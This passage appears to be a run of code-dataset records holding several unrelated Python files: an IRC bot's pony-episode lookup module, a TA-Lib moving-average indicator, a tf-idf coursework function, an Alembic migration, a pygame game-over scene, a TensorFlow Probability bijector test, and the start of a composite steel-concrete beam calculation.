'https://ponyapi.apps.xeserv.us/season/' + snum + '/episode/' + enum\n        nl = query\n        issearch = False\n        isnextlast = False\n    elif re.compile('(?i)next').match(query):\n        uri = 'https://ponyapi.apps.xeserv.us/newest'\n        nl = 'next'\n        issearch = False\n        isnextlast = True\n    elif re.compile('(?i)last').match(query):\n        uri = 'https://ponyapi.apps.xeserv.us/last_aired'\n        nl = 'last'\n        issearch = False\n        isnextlast = True\n    elif re.compile('(?i)(movie)( )?\\d+').match(query):\n        regex = re.compile('(?i)movie(?: )?(\\d+)')\n        numbers = regex.findall(query)\n        results = [int(i) for i in numbers[0]]\n        mnum = str(int(results[0]))\n        uri = 'https://ponyapi.apps.xeserv.us/season/99/episode/' + mnum\n        nl = query\n        issearch = False\n        isnextlast = False\n    else:\n        webquery = web.quote(query)\n        uri = 'https://ponyapi.apps.xeserv.us/search?q=' + webquery\n        nl = query\n        issearch = True\n        isnextlast = False\n                    \n    headers = [('Accept', 'application/json')]\n    try:\n        rec_bytes = web.get(uri, headers)\n    except:\n        if isnextlast is True:\n            return 'nope$' + nl\n        else:\n            return\n    try:\n        jsonstring = json.loads(rec_bytes)\n    except:\n        return\n    try:\n        jsonstring['episodes'][0]\n    except:\n        try:\n            jsonstring['episodes']['name']\n        except:\n            try:\n                jsonstring['episode']['name']\n            except:\n                return 'nope$' + nl\n    try:\n        epname = jsonstring['episodes'][0]['name']\n        eps = str(jsonstring['episodes'][0]['season'])\n        epe = str(jsonstring['episodes'][0]['episode'])\n        etimeun = jsonstring['episodes'][0]['air_date']\n        movie = jsonstring['episodes'][0]['is_movie']\n        epnumbered = True\n    except:\n        try:\n            epname = jsonstring['episodes']['name']\n            eps = str(jsonstring['episodes']['season'])\n            epe = str(jsonstring['episodes']['episode'])\n            etimeun = jsonstring['episodes']['air_date']\n            movie = jsonstring['episodes']['is_movie']\n            epnumbered = False\n        except:\n            epname = jsonstring['episode']['name']\n            eps = str(jsonstring['episode']['season'])\n            epe = str(jsonstring['episode']['episode'])\n            etimeun = jsonstring['episode']['air_date']\n            movie = jsonstring['episode']['is_movie']\n            epnumbered = False\n    etimegmt = time.gmtime(etimeun)\n    etimeus = time.strftime('%A %B %d, %Y at %I:%M:%S %p',etimegmt)\n    if epnumbered is True and issearch is True:\n        try:\n            epname2 = jsonstring['episodes'][1]['name']\n            eps2 = str(jsonstring['episodes'][1]['season'])\n            epe2 = str(jsonstring['episodes'][1]['episode'])\n            etimeun2 = jsonstring['episodes'][1]['air_date']\n            movie2 = jsonstring['episodes'][1]['is_movie']\n            epsecond = True\n            etimegmt2 = time.gmtime(etimeun2)\n            etimeus2 = time.strftime('%A %B %d, %Y at %I:%M:%S %p',etimegmt2)\n        except:\n            epsecond = False\n    else:\n        epsecond = False\n    if etimeun == 0:\n        return\n    if epsecond is True:\n        if movie is True:\n            if etimeun < time.time():\n                euntil = timecompare(etimeun, False)\n                return epname + ' aired on ' + etimeus + ' GMT (' + etimeun + ' ago)'\n            elif etimeun > time.time():\n                euntil = timecompare(etimeun, True)\n                return epname + ' will air on ' + etimeus + ' GMT (' + etimeun + ' from now)'\n        else:\n            if etimeun < time.time():\n                euntil = timecompare(etimeun, False)\n                response = 'Season ' + eps + ', Episode ' + epe + ', ' + epname + ' aired on ' + etimeus + ' GMT (' + euntil + ' ago) and Season ' + eps2 + ', '\n                if etimeun2 > time.time():\n                    euntil2 = timecompare(etimeun2, True)\n                    response = response + 'Episode ' + epe2 + ', ' + epname2 + ' will air on ' + etimeus2 + ' GMT (' + euntil2 + ' from now)'\n                elif etimeun2 < time.time():\n                    euntil2 = timecompare(etimeun2, False)\n                    response = response + 'Episode ' + epe2 + ', ' + epname2 + ' aired on ' + etimeus2 + ' GMT (' + euntil2 + ' ago)'\n                return response\n            elif etimeun > time.time():\n                euntil = timecompare(etimeun, True)\n                response =  'Season ' + eps + ', Episode ' + epe + ', ' + epname + ' will air on ' + etimeus + ' GMT (' + etimeun + ' from now) and Season ' + eps2 + ', '\n                if etimeun2 > time.time():\n                    euntil2 = timecompare(etimeun2, True)\n                    response = response + 'Episode ' + epe2 + ', ' + epname2 + ' will air on ' + etimeus2 + ' GMT (' + euntil2 + ' from now)'\n                elif etimun2 < time.time():\n                    euntil2 = timecompare(etimeun2, False)\n                    response = response + 'Episode ' + epe2 + ', ' + epname2 + ' aired on ' + etimeus2 + ' GMT (' + euntil2 + ' ago)'\n                return response\n                    \n                    \n    else:\n        if movie is True:\n            if etimeun < time.time():\n                euntil = timecompare(etimeun, False)\n                return epname + ' aired on ' + etimeus + ' GMT (' + euntil + ' ago)'\n            elif etimeun > time.time():\n                euntil = timecompare(etimeun, True)\n                return epname + ' will air on ' + etimeus + ' GMT (' + euntil + ' from now)'\n        else:\n            if etimeun < time.time():\n                euntil = timecompare(etimeun, False)\n                return 'Season ' + eps + ', Episode ' + epe + ', ' + epname + ' aired on ' + etimeus + ' GMT (' + euntil + ' ago)'\n            elif etimeun > time.time():\n                euntil = timecompare(etimeun, True)\n                return 'Season ' + eps + ', Episode ' + epe + ', ' + epname + ' will air on ' + etimeus + ' GMT (' + euntil + ' from now)'\ndef episode(phenny, input): \n    \"\"\"Finds MLP Episodes. Commands can be .ep season 2 episode 1 or .ep s2e1 or .ep return of harmony or .ep next or .ep last or .ep movie 3\"\"\"\n    query = input.group(2)\n    if not query: return phenny.reply('.ep what?')\n\n    uri = episode_find(query, phenny)\n    if uri: \n        if uri.startswith('nope'):\n            uris = uri.split('$')\n            return phenny.say(\"Sorry \" + input.nick + \", I couldn't find the \" + uris[1] + \" episode.\")\n        else:\n            phenny.say(\"Here's what I got, \" + input.nick + \": \" + uri)\n            if not hasattr(phenny.bot, 'last_seen_uri'):\n                phenny.bot.last_seen_uri = {}\n            phenny.bot.last_seen_uri[input.sender] = uri\n    else: phenny.say(\"Sorry \" + input.nick + \", I couldn't find any episodes for '%s'.\" % query)\nepisode.commands = ['ep','episode']\n\ndef duration(seconds, _maxweeks=99999999999):\n    return ', '.join('%d %s' % (num, unit)\n\t\t     for num, unit in zip([(seconds // d) % m\n\t\t\t\t\t   for d, m in ((604800, _maxweeks), \n                                                        (86400, 7), (3600, 24), \n                                                        (60, 60), (1, 60))],\n\t\t\t\t\t  ['weeks', 'days', 'hours', 'minutes', 'seconds'])\n\t\t     if num)\n\ndef timecompare(etimeun, eairfuture):\n    if eairfuture == True:\n        compareun = etimeun - time.time()\n    if eairfuture == False:\n        compareun = time.time() - etimeun\n    return duration(compareun)\n    \n    \n    \n\nif __name__ == '__main__': \n    print(__doc__.strip())\n", "sub_path": "modules/episode.py", "file_name": "episode.py", "file_ext": "py", "file_size_in_byte": 9088, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "web.urllib", "line_number": 15, "usage_type": "attribute"}, {"api_name": "web.urllib.request.URLopener.__init__", "line_number": 18, "usage_type": "call"}, {"api_name": "web.urllib", "line_number": 18, "usage_type": "attribute"}, {"api_name": "web.urllib.addinfourl", "line_number": 21, "usage_type": "call"}, {"api_name": "web.urllib", "line_number": 21, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 25, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 26, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 35, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 36, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 45, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 50, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 55, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 56, "usage_type": "call"}, {"api_name": "web.quote", "line_number": 65, "usage_type": "call"}, {"api_name": "web.get", "line_number": 73, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 80, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 115, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 116, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 125, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 126, "usage_type": "call"}, {"api_name": "time.time", "line_number": 135, "usage_type": "call"}, {"api_name": "time.time", "line_number": 138, "usage_type": "call"}, {"api_name": "time.time", "line_number": 142, "usage_type": "call"}, {"api_name": "time.time", "line_number": 145, "usage_type": "call"}, {"api_name": "time.time", "line_number": 148, "usage_type": "call"}, {"api_name": "time.time", "line_number": 152, "usage_type": "call"}, {"api_name": "time.time", "line_number": 155, "usage_type": "call"}, {"api_name": "time.time", "line_number": 158, "usage_type": "call"}, {"api_name": "time.time", "line_number": 166, "usage_type": "call"}, {"api_name": "time.time", "line_number": 169, "usage_type": "call"}, {"api_name": "time.time", "line_number": 173, "usage_type": "call"}, {"api_name": "time.time", "line_number": 176, "usage_type": "call"}, {"api_name": "time.time", "line_number": 208, "usage_type": "call"}, {"api_name": "time.time", "line_number": 210, "usage_type": "call"}]}
+{"seq_id": "510242097", "text": "import sys\nimport os \ndir_path = os.path.dirname(os.path.realpath(__file__))\n\n#sys.path.insert(0, dir_path + '/../indicators')\nsys.path.insert(0, dir_path + '/../')\n\nimport filerw as fl\nimport constants as c\n\nimport ema\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import * \nimport talib\n\nclass Sma:\n\tdef __init__(self):\n\t\tself.name = 'Simple Moving Average'\n\n\tdef get(self, pdDf, data, colName, period, ignorePeriod=1):\n\t\n\t\ttarget = pdDf[colName].values\n\n\t\tpsma = talib.SMA(target, timeperiod=period)\n\t\tinputLength = len(pdDf.index)\n\n\t\tif inputLength != psma.shape[0]:\n\t\t\traise ValueError(\"Internal error calculating sma\")\n\n\t\trv = pd.DataFrame(data=[pdDf.index, psma])\n\t\trv = rv.T\n\t\trv.columns = ['Date', 'sma' + str(period)]\n\t\trv.set_index('Date', inplace=True)\n\t\tprint('sma' + str(period), rv.head(), rv.tail())\n\t\n\t\treturn np.isnan(psma).size, rv\n\t\t'''\n\t\trvDf = pdDf[colName].rolling(window=period, min_periods=period).mean()\n\t\trv = pd.DataFrame(rvDf)\n\t\trv.columns = ['sma' + str(period)]\n\t\t#print('rv', rv)\n\t\treturn ignorePeriod, rv\n\t\t\n\t\trv = [None] * len(data)\n\t\t# skip the elements in the period\n\t\tprint(data[0])\n\t\t\n\t\ts = 0\n\t\tfor index in range(ignorePeriod, len(data)):\n\t\t\titem = data[index]\n\t\t\ts = s + item[c.CandleStick.CLOSE]\n\t\t\tif (index >= ignorePeriod + period):\n\t\t\t\ts = s - data[index-period][c.CandleStick.CLOSE]\n\t\t\t\trv[index] = s / period\n\t\tprint('rv', rv)\n\t\treturn period + ignorePeriod-1, rv\n\t\t'''\n\nif __name__ == \"__main__\":\n\t# Simple 30 Day Bollinger Band for Facebook (2016-2017)\n\tdata = [[1, 2, 3, 4],[5, 6, 7, 8],[9, 10, 11, 12], [13, 14, 15, 16], [17, 18, 19, 20], [13, 14, 15, 16], [9, 10, 11, 12], [5, 6, 7, 8]]\n\n\ts = Sma()\n\tdf = pd.DataFrame(data, dtype=np.float64)\n\trv = s.get(df, data, 3, 3)\n\tprint(data)\n\tprint(rv)\n", "sub_path": "indicators/sma2.py", "file_name": "sma2.py", "file_ext": "py", "file_size_in_byte": 1755, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.dirname", "line_number": 3, "usage_type": "call"}, {"api_name": "os.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path.insert", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "talib.SMA", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 37, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 65, "usage_type": "attribute"}]}
+{"seq_id": "420805245", "text": "# tf_docs_have_this_word_bayes.py\n# ---------------\n# Licensing Information:  You are free to use or extend this projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to the University of Illinois at Urbana-Champaign\n#\n# Created by Justin Lizama (jlizama2@illinois.edu) on 09/28/2018\n# Modified by Jaewook Yeom 02/02/2020\n\n\"\"\"\nThis is the main entry point for the Extra Credit Part of this MP. You should only modify code\nwithin this file for the Extra Credit Part -- the unrevised staff files will be used for all other\nfiles and classes when code is run, so be careful to not modify anything else.\n\"\"\"\n\nimport numpy as np\nimport math\nfrom collections import Counter\nimport time\n\n\n\ndef compute_tf_idf(train_set, train_labels, dev_set):\n    \"\"\"\n    train_set - List of list of words corresponding with each movie review\n    example: suppose I had two reviews 'like this movie' and 'i fall asleep' in my training set\n    Then train_set := [['like','this','movie'], ['i','fall','asleep']]\n\n    train_labels - List of labels corresponding with train_set\n    example: Suppose I had two reviews, first one was positive and second one was negative.\n    Then train_labels := [1, 0]\n\n    dev_set - List of list of words corresponding with each review that we are testing on\n              It follows the same format as train_set\n\n    Return: A list containing words with the highest tf-docs_have_this_word value from the dev_set documents\n            Returned list should have same size as dev_set (one word from each dev_set document)\n    \"\"\"\n\n    best_tf_idf_words = []\n    docs_have_this_word = Counter()\n    for review in train_set:\n        c = Counter()\n        for word in review:\n                c[word] += 1\n        for word in c:\n                if c[word] > 0:\n                    docs_have_this_word[word] += 1\n\n    for review in dev_set:\n        words = Counter()\n        for word in review:\n            words[word] += 1\n        num_total = sum(words.values())\n        for word in words:\n            tf_idf = (words[word] / num_total) * math.log(len(train_set) / (1 + docs_have_this_word[word]))\n            words[word] = tf_idf\n        best_tf_idf_words.append(words.most_common(1)[0][0])\n    for i in range(0,20):\n        print(best_tf_idf_words[i])\n    return best_tf_idf_words\n", "sub_path": "tf_idf.py", "file_name": "tf_idf.py", "file_ext": "py", "file_size_in_byte": 2398, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "collections.Counter", "line_number": 42, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 44, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 52, "usage_type": "call"}, {"api_name": "math.log", "line_number": 57, "usage_type": "call"}]}
+{"seq_id": "76905238", "text": "\"\"\"empty message\n\nRevision ID: df30bb57d8b8\nRevises: a3adc147c9aa\nCreate Date: 2019-08-02 13:39:40.454133\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = 'df30bb57d8b8'\ndown_revision = 'a3adc147c9aa'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('playlist', 'spotify_owner')\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('playlist', sa.Column('spotify_owner', sa.Boolean(), nullable=False, server_default='0'))\n    # ### end Alembic commands ###\n", "sub_path": "api/migrations/versions/df30bb57d8b8_.py", "file_name": "df30bb57d8b8_.py", "file_ext": "py", "file_size_in_byte": 728, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "alembic.op.drop_column", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "alembic.op.add_column", "line_number": 27, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 27, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.Boolean", "line_number": 27, "usage_type": "call"}]}
+{"seq_id": "53859895", "text": "# -*- coding: utf-8 -*-\nimport pygame\nfrom pygame.locals import *\nfrom src.scene.scene_base import SceneBase\nfrom src.data.constants import SCREEN_RECT\nfrom src.data.constants import FPS\n\nclass SceneGameOver(SceneBase):\n    def __init__(self, game_manager, scene_play):\n        SceneBase.__init__(self, game_manager)\n        self.scene_play = scene_play\n        self.transit_time = FPS * 2\n        self.set_gaveover()\n        self.set_push()\n\n    def update(self, filtered_events, pressed_keys):\n        if self.transit_time > 0:\n            self.transit_time -= 1\n            self.scene_play.update(filtered_events, pressed_keys)\n        else:\n            for event in filtered_events:\n                if event.type == KEYDOWN and event.key == K_SPACE:\n                    from src.scene.scene_title import SceneTitle\n                    self.scene_play.update_score()\n                    self.game_manager.change_scene(SceneTitle(self.game_manager))\n\n    def draw(self, screen):\n        self.scene_play.draw(screen)\n        if self.transit_time <= 0:\n            screen.blit(self.gameover, ((SCREEN_RECT.width - self.gameover.get_width()) / 2, 100))\n            screen.blit(self.push, ((SCREEN_RECT.width - self.push.get_width()) / 2, 300))\n\n    def set_gaveover(self):\n        font = pygame.font.SysFont(None, 80)\n        self.gameover = font.render('GAME OVER', False, (255,0,0))\n\n    def set_push(self):\n        font = pygame.font.SysFont(None, 40)\n        self.push = font.render('PUSH SPACE KEY', False, (255,255,255))\n", "sub_path": "invader/src/scene/scene_gameover.py", "file_name": "scene_gameover.py", "file_ext": "py", "file_size_in_byte": 1526, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "src.scene.scene_base.SceneBase", "line_number": 8, "usage_type": "name"}, {"api_name": "src.scene.scene_base.SceneBase.__init__", "line_number": 10, "usage_type": "call"}, {"api_name": "src.scene.scene_base.SceneBase", "line_number": 10, "usage_type": "name"}, {"api_name": "src.data.constants.FPS", "line_number": 12, "usage_type": "name"}, {"api_name": "src.scene.scene_title.SceneTitle", "line_number": 25, "usage_type": "call"}, {"api_name": "src.data.constants.SCREEN_RECT.width", "line_number": 30, "usage_type": "attribute"}, {"api_name": "src.data.constants.SCREEN_RECT", "line_number": 30, "usage_type": "name"}, {"api_name": "src.data.constants.SCREEN_RECT.width", "line_number": 31, "usage_type": "attribute"}, {"api_name": "src.data.constants.SCREEN_RECT", "line_number": 31, "usage_type": "name"}, {"api_name": "pygame.font.SysFont", "line_number": 34, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 38, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 38, "usage_type": "attribute"}]}
+{"seq_id": "44931739", "text": "# Copyright 2020 The TensorFlow Probability Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\"\"\"Tests for ScalarFunctionWithInferredInverse bijector.\"\"\"\n\n\nimport tensorflow.compat.v2 as tf\nimport tensorflow_probability as tfp\n\nfrom tensorflow_probability.python.internal import samplers\nfrom tensorflow_probability.python.internal import test_util\n\ntfb = tfp.bijectors\ntfd = tfp.distributions\ntfbe = tfp.experimental.bijectors\n\n\n@test_util.test_all_tf_execution_regimes\nclass ScalarFunctionWithInferredInverseTests(test_util.TestCase):\n\n  @test_util.numpy_disable_gradient_test\n  def test_student_t_cdf(self):\n    dist = tfd.StudentT(df=7, loc=3., scale=2.)\n    xs = self.evaluate(dist.sample([100], seed=test_util.test_seed()))\n\n    bij = tfbe.ScalarFunctionWithInferredInverse(dist.cdf)\n    ys = bij.forward(xs)\n    xxs = bij.inverse(ys)\n    self.assertAllClose(xs, xxs)\n\n  @test_util.numpy_disable_gradient_test\n  def test_normal_cdf_gradients(self):\n    dist = tfd.Normal(loc=3., scale=2.)\n    bij = tfbe.ScalarFunctionWithInferredInverse(dist.cdf)\n\n    ys = self.evaluate(samplers.uniform([100], seed=test_util.test_seed()))\n    xs_true, grad_true = tfp.math.value_and_gradient(dist.quantile, ys)\n    xs_numeric, grad_numeric = tfp.math.value_and_gradient(bij.inverse, ys)\n    self.assertAllClose(xs_true, xs_numeric, atol=1e-4)\n    self.assertAllClose(grad_true, grad_numeric, rtol=1e-4)\n\n  @test_util.numpy_disable_gradient_test\n  def test_domain_constraint_fn(self):\n    dist = tfd.Beta(concentration0=5., concentration1=3.)\n    xs = self.evaluate(dist.sample([100], seed=test_util.test_seed()))\n\n    bij = tfbe.ScalarFunctionWithInferredInverse(\n        dist.cdf,\n        domain_constraint_fn=dist.experimental_default_event_space_bijector())\n    self.assertAllClose(xs, bij.inverse(bij.forward(xs)))\n\n  @test_util.numpy_disable_gradient_test\n  def test_transformed_distribution_log_prob_and_grads(self):\n    normal = tfd.Normal(loc=0., scale=1.)\n    xs = self.evaluate(normal.sample(100, seed=test_util.test_seed()))\n    lp_true, lp_grad_true = tfp.math.value_and_gradient(normal.log_prob, xs)\n\n    # Define a normal distribution using inverse-CDF sampling. Computing\n    # log probs under this definition requires inverting the quantile function,\n    # i.e., numerically approximating `normal.cdf`.\n    uniform = tfd.Uniform(low=0, high=1.)\n    inverse_transform_normal = tfbe.ScalarFunctionWithInferredInverse(\n        fn=normal.quantile,\n        domain_constraint_fn=uniform.experimental_default_event_space_bijector()\n        )(uniform)\n    lp, lp_grad = tfp.math.value_and_gradient(inverse_transform_normal.log_prob,\n                                              xs)\n    self.assertAllClose(lp_true, lp, atol=1e-4)\n    self.assertAllClose(lp_grad_true, lp_grad, atol=1e-4)\n\n  @test_util.numpy_disable_gradient_test\n  def test_ildj_gradients(self):\n    bij = tfbe.ScalarFunctionWithInferredInverse(lambda x: x**2)\n    ys = tf.convert_to_tensor([0.25, 1., 4., 9.])\n    ildj, ildj_grad = tfp.math.value_and_gradient(\n        lambda y: bij.inverse_log_det_jacobian(y, event_ndims=0),\n        ys)\n\n    # Compare ildjs from inferred inverses to ildjs from the true inverse.\n    def ildj_fn(y):\n      _, inverse_grads = tfp.math.value_and_gradient(tf.sqrt, y)\n      return tf.math.log(tf.abs(inverse_grads))\n    ildj_true, ildj_grad_true = tfp.math.value_and_gradient(ildj_fn, ys)\n    self.assertAllClose(ildj, ildj_true, atol=1e-4)\n    self.assertAllClose(ildj_grad, ildj_grad_true, rtol=1e-4)\n\nif __name__ == '__main__':\n  tf.test.main()\n", "sub_path": "tensorflow_probability/python/experimental/bijectors/scalar_function_with_inferred_inverse_test.py", "file_name": "scalar_function_with_inferred_inverse_test.py", "file_ext": "py", "file_size_in_byte": 4133, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "tensorflow_probability.bijectors", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.distributions", "line_number": 25, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.experimental", "line_number": 26, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.python.internal.test_util.TestCase", "line_number": 30, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.python.internal.test_util", "line_number": 30, "usage_type": "name"}, {"api_name": "tensorflow_probability.python.internal.test_util.test_seed", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow_probability.python.internal.test_util", "line_number": 35, "usage_type": "name"}, {"api_name": "tensorflow_probability.python.internal.test_util.numpy_disable_gradient_test", "line_number": 32, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.python.internal.test_util", "line_number": 32, "usage_type": "name"}, {"api_name": "tensorflow_probability.python.internal.samplers.uniform", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow_probability.python.internal.samplers", "line_number": 47, "usage_type": "name"}, {"api_name": "tensorflow_probability.python.internal.test_util.test_seed", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow_probability.python.internal.test_util", "line_number": 47, "usage_type": "name"}, {"api_name": "tensorflow_probability.math.value_and_gradient", "line_number": 48, "usage_type": "call"}, {"api_name": "tensorflow_probability.math", "line_number": 48, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.math.value_and_gradient", "line_number": 49, "usage_type": "call"}, {"api_name": "tensorflow_probability.math", "line_number": 49, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.python.internal.test_util.numpy_disable_gradient_test", "line_number": 42, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.python.internal.test_util", "line_number": 42, "usage_type": "name"}, {"api_name": "tensorflow_probability.python.internal.test_util.test_seed", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow_probability.python.internal.test_util", "line_number": 56, "usage_type": "name"}, {"api_name": "tensorflow_probability.python.internal.test_util.numpy_disable_gradient_test", "line_number": 53, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.python.internal.test_util", "line_number": 53, "usage_type": "name"}, {"api_name": "tensorflow_probability.python.internal.test_util.test_seed", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow_probability.python.internal.test_util", "line_number": 66, "usage_type": "name"}, {"api_name": "tensorflow_probability.math.value_and_gradient", "line_number": 67, "usage_type": "call"}, {"api_name": "tensorflow_probability.math", "line_number": 67, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.math.value_and_gradient", "line_number": 77, "usage_type": "call"}, {"api_name": "tensorflow_probability.math", "line_number": 77, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.python.internal.test_util.numpy_disable_gradient_test", "line_number": 63, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.python.internal.test_util", "line_number": 63, "usage_type": "name"}, {"api_name": "tensorflow.compat.v2.convert_to_tensor", "line_number": 85, "usage_type": "call"}, {"api_name": "tensorflow.compat.v2", "line_number": 85, "usage_type": "name"}, {"api_name": "tensorflow_probability.math.value_and_gradient", "line_number": 86, "usage_type": "call"}, {"api_name": "tensorflow_probability.math", "line_number": 86, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.math.value_and_gradient", "line_number": 92, "usage_type": "call"}, {"api_name": "tensorflow_probability.math", "line_number": 92, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v2.sqrt", "line_number": 92, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v2", "line_number": 92, "usage_type": "name"}, {"api_name": "tensorflow.compat.v2.math.log", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.compat.v2.math", "line_number": 93, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v2", "line_number": 93, "usage_type": "name"}, {"api_name": "tensorflow.compat.v2.abs", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow_probability.math.value_and_gradient", "line_number": 94, "usage_type": "call"}, {"api_name": "tensorflow_probability.math", "line_number": 94, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.python.internal.test_util.numpy_disable_gradient_test", "line_number": 82, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.python.internal.test_util", "line_number": 82, "usage_type": "name"}, {"api_name": "tensorflow_probability.python.internal.test_util.test_all_tf_execution_regimes", "line_number": 29, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.python.internal.test_util", "line_number": 29, "usage_type": "name"}, {"api_name": "tensorflow.compat.v2.test.main", "line_number": 99, "usage_type": "call"}, {"api_name": "tensorflow.compat.v2.test", "line_number": 99, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v2", "line_number": 99, "usage_type": "name"}]}
+{"seq_id": "439484622", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 10 17:47:25 2019\n\n@author: SMadhavan\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import minimize_scalar\n\n\ndef compute_beta1(f_c_psi):\n    if 2500 <= f_c_psi <= 4000:\n        return 0.85\n    elif 4000 < f_c_psi < 8000:\n        return round(0.85-(0.05*(f_c_psi - 4000)/1000),2)\n    else:\n        return 0.65\n\n\ndef compute_plastic_stress(FC, FY, c, beta_1, d_tos, d_steel, b_f, b_w, t_f, d_conf, b_conf):\n    #Assumptions include that steel is wide flange and is symmetric\n    #Checks\n    if d_steel > d_conf:\n        print(\"Error! Depth of confined portion of concrete beam \"\n              \"should at least be equal to steel beam depth.\")\n        return None\n    if d_steel + d_tos > d_conf:\n        print(\"Error! Depth to top of steel + depth of steel beam \"\n              \"should be less than or equal to depth of confined portion of concrete beam.\")\n        return None\n    if b_conf <= b_w:\n        print(\"Error! Your concrete confined width is smaller than thickness of web of steel. \"\n              \"Get a cup of coffee and check your input please.\")\n        return None\n    if b_f > b_conf:\n        b_f = b_conf\n        \"\"\"\n        print(\"Flange width of steel beam exceeds the confined concrete width. \"\n              \"Flange width has been terminated to be equal to width of confined concrete. \"\n              \"Check input if this insn't the intent. Alternatively, \"\n              \"incorporate the terminated flange width in your detail.\")\n        \"\"\"\n    if c > (d_conf/2):\n        print(\"Error! c value greater than half the depth of confined portion of concrete beam. \"\n              \"Equilibrium cannot be satisfied under this condition. Please check input.\")\n        return None\n    \n    a = beta_1*c\n    if a <= 0:\n        print(\"Error! 'a' value less than or equal to 0. Please check input!\")\n        return None\n    \n    A1cc = d_tos*b_conf\n    y1cc = d_tos/2\n    \n    if a <= d_tos:\n        A2cc = 0\n        y2cc = 0\n        A3cc = 0\n        y3cc = 0\n    elif d_tos < a <= (d_tos + t_f):\n        A2cc = (b_conf-b_f)*(a - d_tos)\n        y2cc = d_tos + 0.5*(a - d_tos)\n        A3cc = 0\n        y3cc = 0\n    else:\n        A2cc = (b_conf-b_f)*t_f\n        y2cc = d_tos + 0.5*t_f\n        A3cc = (b_conf-b_w)*(a-d_tos-t_f)\n        y3cc = 0.5*(d_tos + t_f + a)\n        \n        \n    if c <= d_tos:\n        A1sc = 0\n        y1sc = 0\n        A2sc = 0\n        